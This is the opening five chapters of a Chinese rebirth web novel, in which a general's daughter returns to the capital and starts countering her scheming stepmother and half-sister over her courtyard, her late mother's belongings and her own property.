《嫡女不装了,我乃战场女阎罗》
第1章 归京
距京城百里外的官道上,二三十位手持大刀的壮汉将一辆马车牢牢包围。
他们中间,只有一匹健硕的黑马,后面架着一辆不起眼的马车,还有一位牵着马,面对穷凶极恶的山匪,却不动声色的女子。
为首大汉对女子大喊:“识趣的,将里面的人叫下来,哥哥保你们死得痛快!”
蓝英冷厉的黑眸扫过他们握刀的手,声音平淡听不出任何情绪,“如若不识趣呢?”
大汉冷嗤:“不识趣?呵,那哥哥们可就不客气了!”
说着,大汉再无废话,招呼着二三十人就围了上去。
马车之外,不时有惨嚎声此起彼伏。
一个娃娃脸的小丫头,一边捣着手里的药材,一边耸耸鼻子,有些不悦道:
“这味道,真的一点都不好闻,还不如药材香呢!”
“小姐,您真的一个活口都不留?”
“这一路都风平浪静的,偏偏快到京城了,却遇到了山匪,难保不是有心人所为!”
坐在马车内,慵懒闲适的斜靠在车壁上,身着淡青色襦裙,上身也是淡青色绣着白色兰花的夹袄,外面松散的披着粉色锦缎斗篷,发髻随意挽起,头上只簪着一对白玉蝶玉簪,面红齿白的少女抱着画本看的入迷。
闻言,她微微抬了抬眸,眼神终于从画本中拔出,用清脆又柔软的声音,赞赏的对小丫头道:
“哟,难得我们白灼聪明了一次。”
“这确实不是偶然,更何况越是靠近京城,山匪越是不敢胡来,所以被你猜对了,外面的那些人,的确是有心之人安排的!”
白灼闻言,停下了手里捣药的动作,微微打开车帘往外张望。
此时外面的二三十人正围着英姿飒爽,身手矫健的蓝英。
几十人,竟然打不过一个少女?
白灼道:“那这些人是谁派来的?还真是好大的胆子,竟然敢对将军府的大小姐动手!”
楚安辞视线又重新落回到画本上,淡声道:“还能有谁?”
上一世,也是在这里,我与我那好妹妹一起出来游玩,竟被歹徒拦截。
而我那青梅竹马的未婚夫,在关键时刻却选择救我妹妹,害我被歹徒带走。
虽然只有短短一个时辰,虽然他们没有对我做什么,我却仍旧被人指指点点,暗指我已失了贞洁!
也是因此,让我陷入万劫不复中......
楚安辞深吸一口气,落在画本上的眸光变得冷厉:幸好...我回来了!
她嘴角轻勾,带着一丝讥讽:这一世,我早早离京,跟随父兄戍边,却不想又是在这里,又是同样的招数...哼!
白灼放下车帘,吐了吐舌头,“果然,大公子说得对,京城人心复杂,我们还是谨慎些的好!”
“不过我们小姐厉害得很,无人能伤分毫,所以他们只会自讨苦吃!”
肉嘟嘟的脸上,因为笑泛起两个小酒窝,看着更加可爱了。
楚安辞颔首:“我们白灼真聪明,我们回来就是给他们添堵的。”
主仆二人相视一笑,一个看着纯真娇俏,看起来就是朵可以任人采撷的小白花,一个可爱灵动,也是单纯的紧。
两个人似乎一点杀伤力都没有,可说出来的话,偏偏暗藏锋芒!
很快,外面厮杀声渐止,车帘被人掀开。
“小姐,都解决了!”
楚安辞放下画本,点了点头,“嗯,好,那我们继续赶路吧,楚风他们是不是已经到京城了?”
蓝英颔首:“是,已经到了,正在城门口等着我们!”
楚安辞手指在腿上的画本上轻点着,“那好,我们也加紧赶路,明日进城!”
翌日辰时,楚安辞的马车到京城城门的时候,已经有十来人在此等候。
他们身后是几辆马车,看着物资颇重,也不知道上面都拉了些什么。
一身劲装的楚风看到马车,立即下马上前,“大小姐!”
车帘被一只素手掀开,楚安辞略显稚嫩的小脸露了出来,“楚风,都安置妥当了?”
楚风抱拳,“都已妥当,带回来的老兵都在庄子上,随时等候大小姐调遣!”
楚安辞摇头:“他们既已归来,好好生活便是,希望永远都不会有用到他们的一天!”
“你多加照看着些,吃用都不能缺了。”
“是!”楚风应下。
犹豫了一下,道:“大小姐,我们不曾看到将军府来人迎接,可要属下派人去通知?”
楚安辞面上不动声色,“不必,回家而已,何须人来迎?”
白灼接话道:“就是,大小姐回自己家,哪用得着那么客气!
更何况将军和公子都在北境,让什么人来迎?”
意思不言而喻,她们大小姐的家人,只有将军和公子,其他人都是外人!
楚风打马向前,和一众护卫护送着楚安辞的马车进城,一路上的人都好奇的看向他们。
有人议论道:
“看这架势,高头大马,气势凛然,不像是我们京城中人啊?”
“哎哎哎,你们快看那些人身上挂着的刀,还有腰牌,那不是大将军府的吗?”
“难道大将军从北境回来了?”
“不会吧?没有皇帝诏令,戍边的将军怎可私自回京,更何况你们看这么点人,不可能是大将军!”
“哎呀,这个我知道,我听将军府的人说,好像那位十几年前跟随大将军戍边的,先夫人的女儿,将军府的大小姐好像要回来了,我看这八成就是!”
“啧啧啧,这么多马车,也不知道里面都拉了些什么?”
京城主街,一所茶楼之上,两位样貌绝伦的男子站在窗口,往下张望。
面容俊朗,一身蓝色长衣,腰挂直裰,临近冬日天,手中却还拿着一把折扇的男子笑道:
“早就听闻,定北大将军有一爱女,乃其与先夫人长孙氏所生,据说那长孙夫人,样貌柔美,风姿绰约,因家传渊源颇具才气,尤其是一手丹青,颇受其父长孙凛真传,可谓是一画难求。”
“就连我家中,还有长孙凛的遗作收藏。”
“就是不知,这楚大小姐可有遗传其母一二分?真想见一见!”
身边另一男子,眼眸深邃望着下面经过的马车,并无多余的表情,也未曾接话!
萧起见身边好友不言,接着叹了口气,“唉,可惜了,已有婚约,据说还是宣平侯府那位惊才绝艳的世子,沈厉岚!”
他胳膊肘捅了捅身边人,“唉,景离,你说沈厉岚能不能看上这位大将军府的小姐?”
“从北境回来,会不会皮肤粗糙,样貌粗犷犹如男子?”
“啧啧,那可真是可惜了?还真想见见,沈厉岚见到这位大小姐时的表情,肯定有趣!”
第2章 鸠占鹊巢
景离视线从马车上移开,看了萧起一眼,让正饶有兴味遐想的萧起一怔。
等他回过神来,景离的身影已经消失在包间门口。
萧起摇头:“切,冷面阎王,一点玩笑都开不得,真是无趣!”
被人打趣是不是长得像男人的楚安辞,很快就到了定北将军府的府门前。
将军府大门前除了他们,并无什么人。
因在京城中心区域,靠近皇城,又是达官显贵聚集地,所以这里比较安静。
只是不时有这条街上,出来张望的各家仆人小厮。
楚风上前抠门,等了好一会,大门才缓缓打开,有门房探出头来,看了楚风和后面的车队一眼,问道:“你们找谁?”
楚风道:“大小姐回府,还不开门迎接?”
本以为门房会即刻将门打开,不曾想砰的一声,大门给关上了!
楚风蹙眉,回头看向马车。
马车内楚安辞的声音传出:“等着便是!”
白灼噘嘴,“他们什么意思?这可是我们将军的府邸,大小姐堂堂嫡女回来,他们不出来迎接,竟然还将我们关在门外,真是好无礼!”
“大小姐,回头我们一定要写信将事情告诉将军,看将军怎么收拾他们!”
楚安辞笑道:“我和父兄离开十二年都不曾归,他们不识得我们也正常!”
更何况,十二年,足够萧氏将整个将军府换成自己人了!
楚安辞将楚风叫到车前,低语几句,楚风听后应下,恭敬的退到车边站立等候。
不多时,侧门从里面打开,出来一人。
楚安辞认得这人,是将军府的管事,姓杨。
杨管事来到车前,恭敬有礼,“杨忠见过大小姐,欢迎大小姐回府!”
车帘打开,白灼先从车内下来,然后抬手等着。
一双纤白素手搭上,身披红色大氅,身着粉色襦裙,头戴流苏金镶玉发簪的少女从车内出来。
红色大氅的映衬下,脸颊更是微红,唇红齿白,皮肤娇嫩,完全不像是被北境寒风摧残过的样子。
少女声音轻柔,更像闺阁娇女,“杨管事,有劳了!”
杨忠一愣,很快回神,躬身一礼:“见过大小姐!”
“夫人听说大小姐到了,正急忙招呼人再检查之前给大小姐收拾的院子是否妥当,所以先让老奴出来迎接!”
身子一侧,道:“大小姐,先回府吧,夫人想念您的紧!”
楚安辞未动,杨忠见此有些疑惑,“大小姐?”
白灼道:“管事,我们大小姐乃将军府嫡长女,深受将军喜爱,在北境,大小姐磕了碰了分毫,将军和少将军都心疼的不行。
那等寒苦之地,亦不曾受半分委屈,难道回家了,还要受委屈不成?”
杨忠后背一紧,“姑娘这是说的哪的话?老奴怎敢让大小姐受委屈?”
白灼道:“大小姐十二年初次回京,难道您就让她从侧门入?”
“虽然我们在北境自在惯了,没那么多规矩,但也是知道侧门乃妾室庶女所入之门,管事竟要我们大小姐走不成?”
杨忠赶忙道:“哪的话?老奴怎敢?”
“只是这大门沉重,昨个儿又出了点问题,老奴怕大门一个不好,伤着大小姐,所以这才......”
“唉,是老奴处事不到,未能及时修好,请大小姐勿怪!”
楚安辞还是那副浅笑嫣然的模样,看起来并未动怒,只是道:
“无妨的!”
视线扫向跟着的护卫,“只是这次跟我回来的,都是爹爹和哥哥亲自安排的人,到了都要给父兄回话的,如果让父兄知道我初次回府,就走侧门,那恐怕......”
杨忠头皮一麻,赶忙弯了腰,“是,是老奴考虑不周,大小姐稍待,我这就叫人去收拾!”
“老奴承蒙将军信重,怎会做怠慢大小姐之事,实乃近日事物繁忙,疏忽所致!”
“大小姐稍等片刻!”
他立即招呼人,“快,将大门打开!”
楚风上前一步,道:“不必劳烦,我们自己来!”
不待杨忠阻拦,径直带着人从侧门进入,大门很快缓缓打开。
大门一开,楚风还道:“大门看着完好,似乎刚修缮过!”
杨忠脸一沉,怒喝守门的人,“你不是说门没修好?混账,敢慢待主子,拉下去打二十大板!”
门房来不及狡辩,便被将军府的小厮嘟了嘴拉下去了。
楚安辞对此并未多言,这人明知自己回来,还将他们关在门外,明显就没将她放在眼中。
既然是萧氏的人,打就打了!
杨忠觑着楚安辞的神色,似乎并没有生气,也没有多想,暗自松了口气。
后面楚风招呼众人,将马车牵进来,让人卸车。
这边楚安辞不用管家领路,已经朝着自己的院子走去。
进入后面,经过一个拐角的时候,杨忠道:“大小姐,您走错了,您的院子是在这边!”
楚安辞脚步一顿,不解道:“没有呀!杨管事,你是不是记错了?我的院子就在这边啊!”
“我离开的时候虽然小,但是清晰记得的,爹爹和娘亲亲自给我安排的院子。
临归时,爹爹还说,他一直让人精心看顾着我的院子,让我回来后还住原来的院子就是,那是他和娘亲专门给我留的!”
说着,顿了一下,脸上更加疑惑了,“难道院子拆了?还是改做了其他?”
然后有些不高兴的跺脚,“爹爹也真是,竟然说话不算话,等会我就写信,绝不会原谅他!”
一副真的生气了的样子。
这般姿态,谁都能看出,这位大小姐有多受将军喜爱!
杨管事神色一紧,额头微微渗出汗珠。
“那个,没有,没有,是老奴记错了。
大小姐稍待,我先着人去看看收拾好了没有,毕竟太久没住人了,即便经常照看,也不如从前,如果没收拾好,污着大小姐的眼就不好了!”
说完立即给后面跟着的人使眼色,他则领着楚安辞脚步放慢,在园中绕弯子。
楚安辞不动声色,跟着看府中的景致,十二年了,将军府一点没变。
要说变,那可能就是似乎不如从前了,一些地方打理的也没有那么精致了。
管事还一边介绍,“老奴还记得,大小姐那个时候还小,这么点大。”他抬手比了比。
“虽然人小,但特别喜欢在后院子里玩,那个时候将军在家,老奴也经常跟着将军到后院来,时常见到大小姐在这里玩耍。”
“哎,一晃眼,十几年过去了,大小姐也都及笄了。”
楚安辞看着院子里已经凋零的落叶,有些萧索。
没接杨管事的话,而是道:
“杨管事是爹爹最信重的人,这些年劳您在府中看顾,辛苦了。”
杨管事立即摇头,“不辛苦,不辛苦,这都是老奴应该做的,如果不是将军,老奴这会还不知道在哪忍饥挨饿呢!”
“大小姐,您现在这边凉亭休息片刻,我再去看看,催一催,别让大小姐等太久。”
“一路奔波劳累,回府了也得好好休息才是。”
在凉亭休息的时候,楚安辞耳聪目明,轻易就察觉到了另一条小路上,匆忙来回的身影。
她低头垂眸,听着沉重杂乱的脚步声,唇角微微上挑。
一直站在楚安辞身后,不动声色的蓝英也看了那边一眼,低声对楚安辞道:
“小姐,他们在搬东西!”
楚安辞点头:鸠占鹊巢,总要归还的!
上一世,楚潇雨在四岁的时候,就抢走了我的院子。
而我还傻傻的被萧氏蒙蔽,说什么姐妹友爱,潜移默化的给我灌输让着妹妹,疼爱妹妹的思想。
后来想想,我是听话了,友爱了,可是她们呢?可曾对我友爱过,可曾对我有过姐妹情?
只是一味地霸占我的一切,从我这里拿走母亲的遗物不说,连爹爹和哥哥给我送回来的东西,也都一点一点拿走!
回忆着前世种种,楚安辞握着茶杯的手,不自觉的紧了紧!
这时管家回来了,“大小姐,都收拾好了,您请!”
第3章 瑶华居
楚安辞将茶杯放下,离开凉亭往瑶华居走去。
瑶华居,是生母长孙舒然在怀着她的时候,和父亲楚行一起布置出来的,名字则是兄长楚北渊给起的。
可以说,楚安辞还未出生,就有了定北将军府最好的院子。
而凉亭的桌子上,楚安辞原本握着的那只青瓷茶杯,上面已经有淡淡的裂痕,似乎只要一碰,就会轻声碎裂。
瑶华居门口,楚安辞过来的时候,已经没了匆忙来回的人。
这时萧晴,也就是将军府现在的当家主母,带着身着锦绣绫罗,身姿窈窕,但面色有些不好的少女等在那里。
见到楚安辞走来,二人先是一怔,随即萧晴面带笑容的迎了上来。
“大姑娘终于回来了,叫母亲甚是挂念!”
“一晃十几年,大姑娘长大了。”
她抬手握着楚安辞的手,另一只手轻轻在楚安辞娇嫩的小脸上划过,“听闻北境苦寒,那风和刀子一样,但看大姑娘的样子,似乎也不尽然!”
“一路上可还顺当?”
“听闻最近京城外面盗匪猖獗,我还很是担心了一阵,好在大姑娘终于回来了,我这颗心也终于能落下了!”
楚安辞面带微笑,不动声色的抽回手,“给夫人请安!”
“一路上都好,不过在京城百里外确实遇到了一波盗匪,幸好有爹爹和哥哥派的护卫身手好,所以不曾吃亏!”
说这话的时候,楚安辞的眼神在萧晴和楚潇雨的脸上扫过。
果然见到二人面色滞了一瞬,但很快敛去。
萧晴再次拉起楚安辞,“没事就好,没事就好!”
“还是将军妥帖,安排的人也一定是妥帖!”
然后拉过楚潇雨,道:“这时你妹妹潇雨。”
“雨儿,快来见过你长姐。”
“你们都是大将军的女儿,虽然从小没有长在一起,但也都是一家人。”
长相和萧晴七八分相像,眉眼间自带妩媚的少女上前几步,虽说只有十三岁,可是看着竟和楚安辞一般大。
就连身量都长开了些,能看出一些少女的姿态,甚至比楚安辞这个长姐,看着还要丰满。
只是身高不比楚安辞,像她母亲,略矮她半头。
楚潇雨盈盈一福,声音恬淡好听,“见过姐姐,姐姐你终于回来了,十几年来,日日听母亲念叨,却终不得见,今日终于将姐姐盼回来了!”
脸上带着似乎很是真诚的笑,只是笑意不达眼底。
楚安辞回了一礼,面上的笑看着比楚潇雨还要真诚多了,“是啊,妹妹。”
“在北境我倒是听父亲提过一嘴,说在京城我还有个妹妹,今日也终于见到了。”
闻言,楚潇雨的笑僵了一下,攥着帕子的手紧了紧。
只是提了一嘴嘛?那父亲也太不拿自己这个女儿当回事了。
“父亲还真是偏爱姐姐,让妹妹很是羡慕。”
楚安辞不以为然,“其实妹妹也不用羡慕的,如果你也想和爹爹在一起,我可以给爹爹写信,将你接去北境
,那里虽然比起京城差了很多,这个时候已经飘雪,寒风刺骨。”
“但是有爹爹和哥哥啊,有他们在,也不会让妹妹受委屈的。”
楚潇雨一怔,显然没想到楚安辞会如此说,“啊?不......那个,不用了。”
“我一直陪在母亲身边,乍一离开,母亲怕是会想我的。”
萧晴也赶紧接话,“啊,是。”
“这些年你们都在北境,只雨儿在府中陪我,从未离开过我身边,如果真让她去那么远,我还真是舍不得!”
然后抓紧扯开话题,“也别在这站着了,大姑娘好不容易回来,咱们先进去。”
“走,你的院子我叫人又重新收拾了一遍,听说你回来,已经叫人收拾过了,但生怕稍有不如意的,就耽搁了些!”
“来,你看看可还满意?”
萧晴拉着楚安辞跨进了瑶华居,后面白灼吐吐舌头:哼,当谁不知道你们霸占了小姐的院子,刚才是在忙着搬东西!
最好是搬干净了,不然剩下的可都是我们的了,一点都不还的!
将军和大公子还在北境吃苦受罪,你们倒在这里抢着享受,哼,不要脸!
重新踏入瑶华居,楚安辞并没有什么太大感觉,毕竟自己两辈子,在这里住的时间都不长。
不过大体看过,并没有太大变化。
就连房中的摆设,变化也不甚大!
只是......
“我听爹爹说过,母亲之前亲自作了一幅海棠春睡图,让匠人用紫檀雕漆做成了屏风,说是一直摆放在我房中,怎么不曾看见?”
嘟囔道:“难道是爹爹记错了?以前小,这次好不容易回来,还想亲眼看看爹爹经常念叨的海棠春睡图呢!”
萧晴看了楚潇雨一眼,然后笑着对楚安辞道:“是有那么一个屏风,只是太久没用,我叫人拿出去晾一晾,这就叫人搬进来!”
然后对身边的丫鬟道:“还不去将大小姐的那个海棠春睡屏风搬进来,放在外面久了,别磕了碰了才是!”
“是,夫人!”
丫鬟连忙退去。
楚潇雨上前道:“姐姐,你刚回来,京城不比北境,姐姐怕是一时不适应,我们就先不打扰了,你先休息!”
“姐姐如若有什么需要,尽管派人来找我便是,府上虽是母亲在管家,但我发话,那些下人们没有敢不应的。”
“如果姐姐遇到什么问题,妹妹定然帮着姐姐,绝不让姐姐叫人欺负了去!”
楚安辞心道:哼,这是在宣誓主权吗?
“妹妹多心了,夫人管家肃来严苛,教导出来的下人定不是那等无礼之辈,敢对我一个主子苛待,如若真的有,那不是在说夫人家都管不好吗?
岂不是丢了我们将军府的脸?
丢了夫人的脸?”
楚潇雨尴尬一笑,“呵呵,姐姐说的是。”
她扯了扯唇,可能是今日打击有点多,竟然什么话也没再说。
楚安辞都做好被母女俩刁难了,结果就这么结束了!
送走母女二人,楚安辞只是淡淡看了一眼正在张望的下人,这些人都是萧氏安排的,楚安辞也没有赶她们走的意思,只是对蓝英道:
“让楚风他们将我的东西都搬进来,安排两个库房。”
蓝英领命。
那边萧晴领着楚潇雨往回走,楚潇雨咬牙,攥着拳,憋得眼泪都要出来了。
“母亲,凭什么她一回来,我的院子就得让给她?都是将军府嫡女,凭什么?”
“还有那海棠春睡图的屏风,最是风雅我最喜欢了,并且那屏风价格昂贵,工艺和材料都是难得,现在买都很难买到,可是她说要就给要走了!”
“如果让我的小姐妹知道了,我哪还有脸见人?”
萧晴拉着楚潇雨的手,往瑶华居的方向看了看,见并无人跟着,便道:
“你莫急,先忍忍她,她刚回来,让她住两天又何妨?”
“并且十二年了,自打将军去了北境,便不怎么回来,即便因公务回来也没多看我们母女二人一眼,我们眼下需要靠着将军,所以忍一忍又何妨?”
“等我摸清了她的底细,看母亲好好收拾她,瑶华居我会让她乖乖让出来的!”
“京城,是我们的地阶,还拿捏不了一个小姑娘?你呀,就是太沉不住气了,往日里母亲都是怎么教你的?”
楚潇雨道:“那您快点,明姝院虽好,但比起瑶华居可是差远了,我是将军嫡女,就应该住在瑶华居,她一个北境回来的野蛮之人,凭什么住在那么好的地方?”
这时,有一队人抬着沉重的箱笼过来,萧氏问道:“这是什么?”
管家正在前面引领,见到萧氏,便回话道:
“回夫人,这是大小姐带回来的行礼,说让抬到瑶华居!”
楚潇雨上前,“打开,我看看都是什么东西?”
这么多,楚安辞该不会将北境那些上不得台面的东西都带回来了吧?
抬着箱笼的护卫却没动。
楚潇雨瞪眼,“我叫你们打开,没听到吗?”
护卫还是没动,一人道:
“回二小姐,大小姐的东西除非大小姐同意,不然谁也不能动,这是规矩,还请二小姐不要为难!”
楚潇雨被这一声二小姐叫的,心中怒火更胜。
刚要发作,被萧氏拉了一下。
萧氏对她使了个眼色,楚潇雨攥了攥拳,“母亲~”
萧晴拍了拍她,对杨忠道:“去吧!”
杨忠颔首,领着人继续走。
第4章 送礼
眼睁睁看着一箱箱厚重的箱子被抬进去,楚潇雨对里面的东西更好奇了。
但被萧氏押着,也没再说什么,只是回到明姝院,心里就更加不顺畅了。
但是她被萧氏教导这么些年,之前是被楚安辞整的有些突然,所以才失了分寸。
这会定下神来,又恢复了往日淡定从容的模样,招呼身边的丫鬟道:
“采姝,将我最喜欢的那八宝簇珠白玉钗,和赤金红宝石蝴蝶花簪,还有垂金流苏翡翠坠子都给姐姐送去,算是我给姐姐的礼物了。”
采姝怔了一下,立即应是,然后去取东西了。
这边杨忠带着人将东西抬到瑶华居,在蓝英的指引下,放入刚刚临时腾出来的两个库房内。
杨忠看着紧锁的木箱,犹豫了一下,看向蓝英,“大小姐带了这么些东西回来,可要盘点清楚,别少了才好。”
蓝英点头,“这个自然。”
然后拿出一个册子,对一旁的护卫道:“将木箱全部打开,盘点入库。”
一个个木箱一一打开,看到里面的东西,杨忠眼睛都直了,不禁咽了咽口水,有些结巴道:“这......这......这是将军让带回来的?”
蓝英看了他一眼,“这都是大小姐自己的东西,带回来不应该吗?”
杨忠立即摇头,“不不不......”他讪讪一笑。
就是这个时候,被楚潇雨派来送东西的采姝来了,她径直去了楚安辞的房间,将东西放在桌上。
“大小姐,这些是我们小姐让奴婢送来的,知道大小姐回来,小姐不忍大小姐受委屈,怕大小姐手里没有得用的首饰,便将这些让奴婢给送来了。”
她看了一眼桌子上摆放整齐的首饰,又道:“小姐一心念着大小姐,平日里这些她都不舍得戴呢。”
楚安辞喝了口茶,是她最爱的庐山云雾茶。
眼睛只是淡淡扫过,但是面上却似是很开心,“是吗?那真是谢谢妹妹了,你回去跟她说,这些我很喜欢。”
“白灼,将我从北境带回来的特产送与妹妹,那些可都是北边才有的珍稀药材。”
眼睛又看了一眼采姝。
白灼会意,不一会拿着两个木盒过来,交给采姝。
并拿出一个荷包塞到采姝手里,“这是大小姐赏你的。”
采姝拿着荷包,感觉里面应该足有三两碎银,心道:没想到大小姐还挺大方。
“多谢大小姐,奴婢告退。”
出了楚安辞的房间,听到不远处的忙碌声音,好奇的过去看了一眼。
这一看,她也怔住了,将库房内匆匆扫过,趁人不注意抱着两盒药材立即离开了瑶华居。
楚安辞看着桌子上的首饰,淡声道:“白灼,收起来吧,这些多少也值些钱,能给将士们添置些冬衣。”
白灼颔首;“小姐说的是。”
她拿起一个花簪看了一眼,噘嘴,“不过这位二小姐也太小看我们了,竟然拿前几年过了的款式送给大小姐,真当我们是乡下来的土包子不成?”
“要知道京城的一切大大小小,小姐您可是一直都知道的一清二楚!”
楚安辞轻笑:“这样岂不是更好?我这次回来本就是要扮猪吃虎,陪她们慢慢玩。”
并且我也很想知道,萧氏和楚潇雨,为何要害死我父兄?
他们可也是她们的家人,她们怎能下得去手?
楚安辞站起身,走了两步,刚好站在那扇重新搬回来的海棠春睡屏风前。
她目光落在正恣意仰躺在海棠花旁的女子身上,五官虽然不清晰,但能看出,里面的女子眼睛是闭着的。
神情也很是放松,似乎自己就是一朵花,大地就是她的床。
视线下移,落在右下角,那里竟然有一行小字。
楚安辞弯腰看去,只见上面写着:愿吾女安康喜乐。
安康喜乐,是一个母亲对女儿最真挚的祝福。
简单,却饱含母爱。
楚安辞眼眶微酸,她脑海中没有母亲的记忆,两辈子都没有。
毕竟母亲离开的时候她太小了,还是个小小的婴儿,怎可能会有。
但是十二年来,父兄时常给她讲母亲生前的样子,在爹爹的描绘中,母亲温婉大气随和。
是个有才气的女子,跟了他,委屈她了,因为父亲觉得自己就是个大老粗,配不上她。
在哥哥的眼中,母亲非常慈爱,但是对他的教导从不懈怠。
遇到问题总会谆谆教诲,从没有见她不耐烦过。
他们还讲起怀着自己的时候,母亲的眼中都是柔和的笑,还有对她出生满满的期待。
虽然她脑海中母亲的样子,都是爹爹书房中那画上的模样,但她依旧深深感受到了母亲的爱。
楚安辞抬手轻轻拂过那一行小字,嘴边呢喃,“娘亲~”
“小姐,您说什么?”
白灼突然出声。
楚安辞起身,“没什么!”
然后又道:“之前就听闻娘亲继承了外祖父的一身本领,一手丹青无人能及,白灼,你命人打探一下,娘亲之前留下的遗作都在哪里,我想取回来单独存放。”
白灼应声,“好,我这就去问问。”
白灼打听的很快,不过回来的时候,神色不是很好,面上愤愤的,似乎很是生气。
“小姐,我打听到了。”
楚安辞看向她:“都放在何处?带人拿回来,在瑶华居单独找个房间存放。”
白灼气的深吸一口气,这才道:“小姐,您不知道,夫人的画都被那对母女给卖了,除了将军和公子带在身边的,其余一件都没剩。”
“哼,真是气死我了,她们怎么可以?怎么敢的?”
楚安辞怔住:“都卖了?”
她眼眸微转:上一世,因为萧氏的加以关怀我未曾关注过这些,但也确实从未在府中见过娘亲的遗作,难道也被她们私自卖了?
白灼气愤又焦急道:“小姐,我们怎么做,我们要不要这就去找她们要个说法?”
楚安辞摇头:“卖都卖了,现在去找还有什么用?”
“不过这件事情我记下了,你看看能不能打探到那些画的下落,我们再想办法买回来。”
白灼更气了:“那可要花不少银子!”
楚安辞目光微微涣散,透过门口的缝隙看向外面,“放心,这些账都记在萧氏头上就是,我们何时吃过亏?”
说完,少女原本微冷的脸上,突然浮起一抹笑,笑容绽放,很是惊艳。
却莫名的让人不寒而栗。
门外有丫鬟来报,“大小姐,夫人有请。”
白灼打开房门,外面的寒气闯入,吹散了屋内因为刚刚燃起的棠梨雪香,而蔓延开来的清洌干净的味道。
也让坐在桌边随意摆弄香的楚安辞皱了皱眉,“刚燃起的一炉香,可惜了。”
白灼道:“这棠梨雪香带回来的不多,还真是可惜了,不过公子说又做了些,用不了多久就会送来的。”
“刚好北境在下雪,不缺雪水,加上我们提前留下的材料,应该能做不少。”
“如果不是我们走得急,本可以做好直接多带些来的。”
白灼拿出一件白底绿萼梅披风给楚安辞穿好,两人一起跟着那丫鬟去了秦氏的院子。
秦氏没有住在主院,而是在主院西侧的西跨院,静安居。
院子只比主院略小一点,其实也是顶好的院子了。
刚刚踏进静安居,耳聪目明的楚安辞就听到了里面隐隐传出的声音。
“母亲,她哪来的那么多财宝,整整五箱金银,五箱珠宝,还有那些笔墨纸砚都是难得的珍贵之物。”
“还有那些布匹,采姝说她看到其中一箱里面竟然都是进贡的缂丝,就是皇亲国戚都穿不起,她怎么会有那么多?”
“还有蜀锦,整整三箱,蜀锦我每年也能得一两匹,她竟然有整整三箱。”
“母亲,这些肯定都是我们将军府的财物,她怎可直接搬回自己的院子,强行霸占?”
“并且我给她送了那么贵重的首饰,而她给我的却是什么不值钱的特产,那些东西也能拿到我面前?”
“她肯定......”
有丫鬟禀报,楚潇雨的声音戛然而止。
楚安辞不动声色的看了一眼前面引路的丫鬟,除了她,似乎并没有人听到里面的谈话声。
楚安辞也便当做没有听到一般,不动声色的走了进去。
第5章 大将军的信
“夫人。”楚安辞对着二人微微一礼。
萧晴面上看不出什么情绪,点头指了指对面的座位,“嗯,做吧!”
楚潇雨也收敛了神色,看着没什么情绪一般。
楚安辞垂眸,静等她们说话。
萧晴先让丫鬟上了茶,这才对楚安辞道:
“刚杨管事来报,说你带回来的人,强行接管了将军府的护卫,我知道你这也是为了将军府好,但是这般行事,着实不妥。”
楚安辞心道:竟是为了这个?
她看向萧氏:“是楚风吗?”
“他之前是爹爹身边的护卫,爹爹很是看重他,这次我归京,爹爹便将他派来护送,并让他带着一队人留京保护。”
“至于接管了将军府的护卫职责,这个我就不清楚了,可能是他觉得将军府原本的护卫有些懈怠了,所以这才强行接管进行调整吧!
毕竟爹爹治军甚严,他手下的人做事也向来严谨。”
“不过为了将军府的安全,他们这样做也是好的。”
“您说是吧,夫人?”
萧氏没说话,楚潇雨道:
“姐姐过滤了,京城之内,天子脚下,我们安全的很呢,这么多年从没有什么宵小敢闯我们将军府的。”
楚安辞也笑道:“妹妹说的是,不过楚护卫这般,也是近一个护卫的职责,有备无患。”
萧氏有些犹豫,“只是府内之前的护卫,都是将军府留下的老人,楚护卫这般行事,怕是......”
楚安辞露出一个娇俏的笑:“夫人,这您就更不必担忧了。”
“既然都是老人,那就是从军营里退下来的,军人最大的特点就是服从,楚护卫代表的是爹爹,他的话就相当于军令,所以他们是绝不会有意义的。”
“并且有他的调教,那些人以后只会更加卖力保护将军府。”
萧氏见此,知道事无转圜,不再多言。
但心中也已经有了别的成算。
楚风控制了将军府的护卫职责,就相当于监控了整个将军府。
她们不出府也就罢了,如果出府做点什么,或者找什么人来,肯定会被他知晓,看来以后行事还是要谨慎些了。
萧氏不禁仔细打量楚安辞,只见她面上一派纯真,似乎这些都不是她安排的一般。
萧氏眉心微蹙:这丫头看着天真,似是被将军宠的没什么心机,可是自从进府后一连串的动作,一点亏都没吃。
她不动声色的给身边嬷嬷使了个眼色,王嬷嬷便道:
“听闻大小姐归京,将军让大小姐带回来不少东西!既是将军府的东西,按照规矩,应该交由当家主母入库才是。”
“直接进了大小姐的院子,传出去,与大小姐名声不好。”
楚安辞闻言,眨巴了两下眼睛,有些疑惑:
“什么东西?父亲未曾让我给府内带什么东西回来啊?”
“哦,对了,书信倒是有一封,白灼你去将爹爹给夫人的书信取来。”
白灼立即领命去了。
王嬷嬷提醒道:“就是那些箱笼。”
楚安辞松了口气的样子,笑道:“哦,那些呀,那些不是爹爹的。”
“什么?”屋内几人同时惊讶出声。
楚安辞又是那副单纯的模样,道:
“怎么了?那些东西确实不是爹爹的啊!”
王嬷嬷:“那么多贵重之物,怎会不是将军的?大小姐,话可不能乱说。”
楚安辞摆了摆手,“哎呀,那些真的不是,不信你们可以写信去问爹爹。
那些都是我自己的私房,是我攒了十二年攒下的。”
“归京的时候,爹爹便让我将我的私房都带了回来,说等我出嫁的时候,放在嫁妆里面。”
“也是我一开始没说清楚,让大家产生了这样的误会。”
王嬷嬷尴尬一笑,“但那么多财物,大小姐年纪还小,怕是搭理不来,有什么损失可就不好了。”
“不若交给夫人,让夫人帮您搭理!”
楚潇雨也道:“是啊姐姐,母亲打理府内事物一直很是严苛,你的东西肯定也会保管好的。”
“姐姐如果不放心,可以安排人一起看着就是。”
楚安辞道:“夫人我自是放心的,不过从小我的东西都是我自己打理,父兄从不过问的。”
抬眼看向夫人,“如果夫人非要代劳的话,也不是不行!”
三人一喜。
紧接着就听楚安辞又道:“只是那些东西我随时会用到,放在夫人这里,我再来回挪动有些麻烦,那样有了损失反而更不好了。”
“并且爹爹一直有意锻炼我独自掌家的能力,在北境,府内就是我打理的,回来了反而什么都不做了......”
她顿了顿,似是在考虑,随即又笑道:“不过这样也挺好,以后我就轻松了,可以好好休息了。”
“爹爹问的时候,我就告诉他,夫人疼我,不让我劳累,爹爹肯定也会赞赏夫人的。”
“就是哥哥事儿多,老是喜欢管教我,心思还多,老是给我分析身边什么人做了什么事,目的是什么!”
“就怕我心思太过单纯,被人骗了。”
“不过夫人是自家人,是不会骗我的对不对?”
